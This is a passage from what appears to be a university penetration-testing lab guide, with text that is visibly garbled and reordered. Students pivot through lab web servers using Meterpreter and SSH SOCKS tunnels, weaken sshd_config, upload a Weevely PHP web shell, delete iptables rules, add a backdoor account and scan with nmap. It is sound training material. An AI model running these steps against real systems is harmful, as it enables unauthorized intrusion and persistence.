Step 3 – Downloading and Modifying sshd_config file from the compromised system (First webserver)
a. Now, go back to the terminal window with the Meterpreter session to the first web server.
Note: You will use Meterpreter to download a copy of the “sshd_config” file to be edited using the Meterpreter session.
b. Exit the shell session by entering thefollowing command:
exit
This will take you out of the shell session and back into the meterpreter session as shown below.
c. Download a copy of the sshd_config file. Within the Meterpreter session by entering the following command:
meterpreter > download /etc/ssh/sshd_config /home/StudentFirst/Desktop/sshd_config
Note: The Meterpreter session will indicate that the file is being downloaded when the download is in progress by displaying
“downloading:” followed by the file source and des!na!on paths (The “downloading” process may take longer depending on the file
size) then it will indicate that the file is downloaded by displaying “download:” followed by the source and des!na!on paths.
A#er a successful download, a copy of the “sshd_config” file will be placed on the Desktop of the NIXATK01 VM as specified
by the des!na!on path provided in the command.
No!ce that the downloaded copy of the “sshd_config” file is locked and has “Read only” permissions for everyone. In order to
edit and upload a copy of this file to the compromised webserver, you need create and editable copy and save it with the
original file name.
d. Rename the downloaded “sshd_config” file to “sshd_config_original”
e. Now, create a copy of the “sshd_config_original” file on the Desktop and rename it “sshd_config” (Right click on
sshd_config_original, then select copy, then paste the file on the desktop, then select the pasted file and rename it to
sshd_config).
f. Then, right-click on the “sshd_config” file and then select “Open with Leafpad.”
g. A#er the file is opened, look for the line “#PasswordAuthen!ca!on Yes” and remove the “#” sign.
h. Then, look for the “PasswordAuthen!ca!on No” and add the “#” sign.
Note: The “#” sign is used to comment out lines of code in the configura!on file. In other words, the “#” sign is used to
turn on or off parts of the configura!on file.
i. Next, look for “UsePam Yes” and change “Yes” to “No”.
j. A#er the three changes have been made, save the “sshd_config” file.
Step 4 – Uploading the modified sshd_config file back to the compromised system.
a. Go back to the terminal window with the Meterpreter session and type the following command to upload the sshd_config
file to the “tmp” directory of the webserver.
Note:
1- Uploading to the “tmp” directory of the webserver first, facilitates the overwri!ng of the original “sshd_config” file on
the compromised webserver.
2-Make sure that the meterpreter session is s!ll alive before entering the following command. If the session is closed for
any reason, you must go back to Step 5 (f) of part 3 and reestablish the session.
meterpreter > upload /home/StudentFirst/Desktop/sshd_config /tmp/sshd_config
Step 5 – Overwri!ng the sshd_config file on the compromised webserver
In order to copy the modified “sshd_config” file and override the original file on the webserver, we need to drop back into a
shell within the Meterpreter session to execute the copy command.
a. Drop into a shell by typing thefollowing command: meterpreter > shell

a. Drop into a shell by typing thefollowing command: meterpreter > shell
b. In the shell, override the original “sshd_config”file on the webserver using the following copy command:
sudo cp /tmp/sshd_config /etc/ssh/sshd_config
c. While in the shell, stop and then start the sshd service by entering the following command:
Note: This is done to force the new configura!on to take effect.
sudo service sshd stop

sudo service sshd start
d. Open a new terminal window and enter the following command to create the socks proxy.
$ sudo ssh -D 3434 bob@192.168.10.111 (mailto:bob@192.168.10.111)
Note: When prompted, first, enter the password for the “StudentFirst” account, “Cyb3rl@b”. Then, enter the password for
“bob”, “bobpass”.
Note: A#er the SSH session has been successfully established, you should see the command prompt change from
“StudentFirst@cst630-nixatk01:~$” to “[bob@cst630- nix$01 ~] $”.
Unlike in the first a"empt, now that the configura!on has been changed and forced to be accepted, the user bob is now
allowed access via SSH.
Part 5 - Scanning with the second webserver (hr.acme.com) with dirb and
wpscan tools.
wpscan tools.
Because your a"acker VM, NIXATK01, does not have direct access to the second webserver, hr.acme.com, you will employ
pivo!ng techniques by leveraging the already established SSH connec!on to the first webserver to run dirb scans against the
second webserver, which is also on that same network.
Note
Note: You will set up SOCKS proxy with SSH tunnel connec!on to the first webserver on the localhost, 127.0.0.1, with a
source port 3434.
Step 1 – Scanning the second webserver with dirb
a. Open a new terminal window and type the following in theterminal:
$ sudo dirb h"p://hr.acme.com/ (h"p://hr.acme.com/) -p socks5://127.0.0.1:3434
The scan results should be displayed as seen in the screenshot below.
Step 2 - Scanning the 2nd webserver with wpscan
The dirb scan has iden!fied that the internal webserver (2nd webserver) is also a WordPress server. Run a wpscan of the
internal webserver by entering the following command in terminal:
$ sudo wpscan -u h"p://hr.acme.com/wordpress (h"p://hr.acme.com/wordpress) --proxy socks5://127.0.0.1:3434
You will see the following in the terminal window:
Answer the following ques!ons and include your answers in your final report:
1. How many alerts and vulnerabili!es are there?
2. What is the total number of red, yellow, and green items?
3. Do you see any vulnerabili!es that have a remote code execu!on or arbitrary file upload? Are there any other red alerts?
Part 6 - Exploi!ng vulnerabili!es found on the second webserver

Now that you know that the internal webserver (the second webserver) contains the same vulnerabili!es as the first
webserver, you will use similar techniques to gain access to it. In this part of the lab exercise, you will use Burp Suite to proxy
your web session to the socks proxy, and then to the second webserver. You’ll also use Weevely, a tool that has similar
capabili!es as Metasploit when it comes to exploi!ng web applica!on vulnerabili!es, but is unique in the sense that it lets you
add a layer of security to your exploit by adding a password to the payload.
Step 1- Launching and configuring the Mozilla Firefox web browser
a. Open the Mozilla Firefox web browser (click on Applica!ons, then Web Browser) provided within the distribu!on of Kali
Linux that you are currently using in this exercise.
b. Go to the se%ngs of the browser and open the network configura!on se%ngs by following the steps below.
A#er the browser is open, click on the “Burger” icon near the top right corner of the browser window to display
the browser menu.
Next, click on the preferences bu"on from the menu.
Then, click on the advanced bu"on on the le# side of the screen.
Finally, click on “Network”, then “Se%ngs” to display the Connec!on Se%ngs to be edited.
c. Make some configura!on changes
Select Manual proxy configura!on (see below). Enter the values of the “HTTP Proxy” and “Port” and then click OK.
Step 2- Launching and configuring Burp Suite
a. Minimize all open windows and launch Burp Suite. The Burp Suite applica!on can be launched from the “Applica!ons”
menu, under the “Web Applica!on Analysis” submenu.
b. Accept the License Agreement when prompted
c. Delete Old temporary file if prompted to do so
d. Chose “Temporary project” and click next to con!nue
e. Select “Use Burp defaults” for the purpose of thisexercise.
f. Click “Start Burp” to con!nue the applica!on launch.
g. In Burp Suite, click on the “User op!ons” tab.
h. In the Socks Proxy sec!on of the “User op!ons”, set the following values:
“SOCKS proxy host:” to 127.0.0.1
“SOCKS proxy port:” to 3434
Then check the “Use SOCKS proxy” op!on before con!nuing.
Note: You might need to first type in the SOCKS proxy host and the SOCKS proxy port before being able to select “Use
SOCKS proxy”. Please make sure that this op!on is selected before moving forward.
i. Within Burp Suite, also disable the packet intercep!on by going to the Proxy tab, and toggling the message intercept
bu"on to the off .
Step 3 – Edi!ng the “proxychains.conf” configura!on file using the VI text editor
Now, you will use the first web server to force connec!on based on the next exploit. Open a new terminal and type the
following command.
a. Open the “proxychains.conf” file using VI text editor (A user guide for VI is at the following link:
h"ps://www.howtogeek.com/102468/a-beginners-guide-to-edi!ng-text-files-with-vi/
(h"p://www.howtogeek.com/102468/a-beginners-guide-to-edi!ng-text-files-with-vi/)) ) with the following command:
$ sudo vi /etc/proxychains.conf
Note: If prompted, please provide the password, Cyb3rl@b, for the StudentFirst account.
b. Scroll to the bo"om of the screen and configura!on file and press the le"er “i” on your keyboard to put vi in edi!ng mode.
c. Add the following line to the bo"om of the configura!on file
socks5 127.0.0.1 3434
Before con!nuing, comment out the following line by adding a “#” in front of it. This is to render that line of configura!on
inac!ve (i.e. this replaces “socks4 127.0.0.1 9050” line by “socks5 127.0.0.1 3434”).
socks4 127.0.0.1 9050
d. When you are done edi!ng, press the escape key, “Esc”,
e. Type the following command and hit “Enter” to save the configura!on file and quit the vi applica!on:
:wq
Step 4 – Building a payload using Weevely
Now that the ProxyChain is set, you’ll use Weevely to build a new payload.
a. In terminal, use the following command to generate a new payload called “wee.php” on the Desktop and assign it the
password “pass” (Enter the password for StudentFirst (Cyb3rl@b) if you are prompted to).
$ sudo weevely generate pass /home/StudentFirst/Desktop/wee.php
Step 5 – Uploading the payload to the webserver.
Note: For this step to be completed successfully you must have the SSH connection to the first webserver (192.168.10.111
192.168.10.111) active
using bob’s account. If the SSH connection is not active, open a terminal windows and reestablish it using the following command:

Note: When prompted, first, enter the password for the “StudentFirst
StudentFirst” account, “Cyb3rl@b
Cyb3rl@b”. Then, enter the password for “bob
bob”,
“bobpass
bobpass”.
a. From the desktop of your NIXATK01 VM, double click and open the “Lab Resources” folder.
b. Double click and open the “Projects” folder
c. Click on the “Download Project resources” shortcut to get to the “CST630Project Resources” page.
d. Under “Project 1”, click on WP Exploit [hr.acme.com] to get to the uploadpage
e. Click on the “Browse...” bu"on and select the wee.php file.
f. Click on the “upload!” bu"on.
Note: When the file is uploaded, you will see {"success": true,"fileName":"\/\/\/wee.php"}” on the web page. This means
that the file was successfully uploaded to the web server.
Step 6- Verifying file upload
A#er the file is uploaded, make sure you can see it within the directory lis!ng on the web server.
Note: The dirb scan showed a lis!ng of the upload directory.
a. Browse to the upload directory by using the following URL from your NIXATK01 VM: hr.acme.com/wordpress/wp-
content/uploads
b. Verify that the wee.php file is listed.
Step 7- Establishing backdoor connec!on to target system
a. Open a terminal and enter the following command (Enter the password for StudentFirst (Cyb3rl@b) if you are prompted
to):
sudo proxychains weevely h"p://192.168.10.112/wordpress/wp-content/uploads/wee.php

(h"p://192.168.10.112/wordpress/wp-content/uploads/wee.php) pass
A#er you enter this command, you will see the following screen:
b. At this point, you will need to enter a Linux-based commands to interact with the system. In the terminal, you may try the
following commands:
Weevely> help
Weevely> uname
Weevely> system_info
Weevely> audit_phpconf
Weevely> audit_etcpasswd
Step 8 – Removing rou!ng restric!ons
In the previous step, you’ve successfully established a backdoor connec!on to the second webserver using pivo!ng techniques
by taking advantage of your ini!al SSH connec!on to the first webserver. However, you will have issues directly connec!ng
the second webserver due to rou!ng restric!ons. As a result, you need to remove the rou!ng restric!ons to allow you to
directly SSH to the host.
a. Type the following command to list the iptables (Enter the password for StudentFirst (Cyb3rl@b) if you are prompted to):
sudo iptables -L --line-numbers
This will list the iptables for the host.
b. Delete the REJECT restric!on for the Kali host using the following command (Enter the password for StudentFirst
(Cyb3rl@b) if you are prompted to).
sudo iptables -D INPUT 3
Step 9 – Adding “anchor” user account to the second webserver
a. Add a user to the system. Enter the following command (Enter the password for StudentFirst (Cyb3rl@b) if you are
prompted to).
sudo adduser alice
b. Change alice’s password using the follwing command (Enter the password for StudentFirst (Cyb3rl@b) if you are prompted
to):
sudo echo ‘alice:alicepass’ | sudo chpasswd
Step 10 – Establishing direct SSH connec!on to the second webserver
Now, remove the proxy setup from the browser by reversing the steps you did earlier in Part 6.
As in with the first webserver, in order to successfully establish an SSH connec!on, you need to edit the “sshd_config” file and
overwrite the original file on the webserver. However, you’ve already edited the file and kept a copy on the desktop of you
NIXATK01, Kali VM. Hence, all you need to do at this point is to overwrite the server’s original copy of the file. The following
steps will help you accomplish this goal.
a. Upload the edited copy of the “sshd_config” file to the “tmp” directory on the second webserver
file_upload /home/StudentFirst/Desktop/sshd_config /tmp/sshd_config
b. Overwrite the “sshd_config” file on the webserser (Enter the password for StudentFirst (Cyb3rl@b) if you are prompted
to):
sudo cp /tmp/sshd_config /etc/ssh/sshd_config
c. Restart the sshd service. Enter the following command (Enter the password for StudentFirst (Cyb3rl@b) if you are
prompted to):
sudo service sshd restart
d. Open a new terminal and Type the following command to SSH back to the host (second webserver) (Enter the password
for StudentFirst (Cyb3rl@b) if you are prompted to).
sudo ssh -D 3434 alice@192.168.10.112 (mailto:alice@192.168.10.112)
Part 7 – Scanning an internal worksta!on with Nmap port scans

Now that you have compromised the network, use the following command to show that you are talking with an internal
worksta!on:
- Open a new terminal (On NIXATK01) and run the following command (Enter the password for StudentFirst (Cyb3rl@b) if you
are prompted to):
sudo proxychains nmap -sT -PN -n -sV -p 80,443,21,22,3389 192.168.10.201
Note: You will see some new output when running this command. That output will look like the top part of the screen below.
This is showing how ProxyChains is building the connec!ons. This command will take !me to run.
Take a screenshot and add it to your report.
Note: Now that you have access to the two systems in the network, see if you can get root on either host.
Congratula!ons! You have now reached the end of the lab! Close all applica!ons and exit the virtual lab, and ensure that you
compile your findings in your lab report for submission.

Penetration Testing Lab PDF

Uploaded by

Document Information

Original Description:

Original Title

Copyright

Available Formats

Share this document

Share or Embed Document

Sharing Options

Did you find this document useful?

Is this content inappropriate?

Copyright:

Available Formats

Penetration Testing Lab PDF

Uploaded by

Copyright:

Available Formats

Penetration Testing Lab 3/25/20, 5:21 PM

Penetra!on Tes!ng Lab

Goal of the Lab Exercise

Introduc!on to Penetra!on Tes!ng Tools

Creden!als for all Lab VMs:

Table: Types of VMs in this Lab

VM1 Linux NIXATK01(Kali Linux)

VM2 Linux NIXTGT01(CentOS) [Web Server 1>www.acme.com (h"p://www.acme.com/) ]

VM3 Linux NIXTGT02(CentOS) [Web Server 2>www.hr.acme.com (h"p://www.hr.acme.com/) ]

VM4 Windows WINATK01

VM5 Windows WINTGT01

Lab Reference Informa!on

Sec!on 1: Pentes!ng Phases and Tools

Use the following creden!als to login to the NIXATK01 VM:

Successful Network Penetra!on

site:umuc.edu intext:cyber security

site:umuc.edu filetype:pdf intext:cyber security

5. What is the diﬀerence between ac!ve reconnaissance and passive reconnaissance?

Dirb – Is a Web Content Scanner.

-Display+ - This flag allows to define the following op!ons:

nikto -h 10.0.0.0 -Display [value]

nikto -h 10.0.0.0 -Format txt

-Help - Shows the help file for Nikto.

The following command shows you how to run a Nikto scan.

Wpscan --url h"p://ipaddress (h"p://ipaddress/)

How to use Nmap

Using Ping Sweeping to see which hosts are up

# sudo nmap -sP 192.168.10.*

# sudo nmap -sP -PT80 192.168.10.*

Port Scanning to Uncover Any Available (Vulnerable) Services

# sudo nmap -sT 192.168.10.103-106

# sudo nmap -sS 192.168.10.103-106

# sudo nmap -sU 192.168.10.103, 192.168.10.105, 192.168.10.106

# sudo nmap -sS -O 192.168.10.103-106

# sudo nmap -sS -p 21,23,53,80 -O -v 192.168.10.103

“-iR” Use this command to instruct nmap to scan random hosts.

Quick Start of Nmap

OS Fingerprin!ng # sudo nmap -sS -O “host IP address”

Review and familiarize yourself with the remaining tabs

Phase 3: A"ack and Gaining Access

Phases 4 & 5: Maintaining Access and Covering Tracks

Sec!on 2: Step by Step Lab Instruc!ons

Log into Kali Linux with the following informa!on:

Part 1 – Cloning the Website

Step 1 – Crea!ng a folder for the website clone

Step 1 – Crea!ng a folder for the website clone

a. Right-click on an empty space of your VM’s desktop

b. Select “Create folder” from the menu.

c. Name the folder “website_clone” as seen in the screenshot below

Step 2 – Cloning the Website

The commands to clone the website will be performed in a terminal.

a. Open a new terminal.

b. Change the current directory from /home/StudentFirst to

c. Verify your current directory by using the following command:

$ sudo h$rack h"p://www.acme.com (h"p://www.acme.com/)

Step 3 – Verify your clone

Part 2 – Scanning the first webserver (www.acme.com)

Step 1 – Scanning the first webserver with Nmap

if you are prompted to):

$ sudo nmap -v -sSV -p 1-1024 www.acme.com (h"p://www.acme.com/)

What ports are listening?

What services did Nmap iden!fy?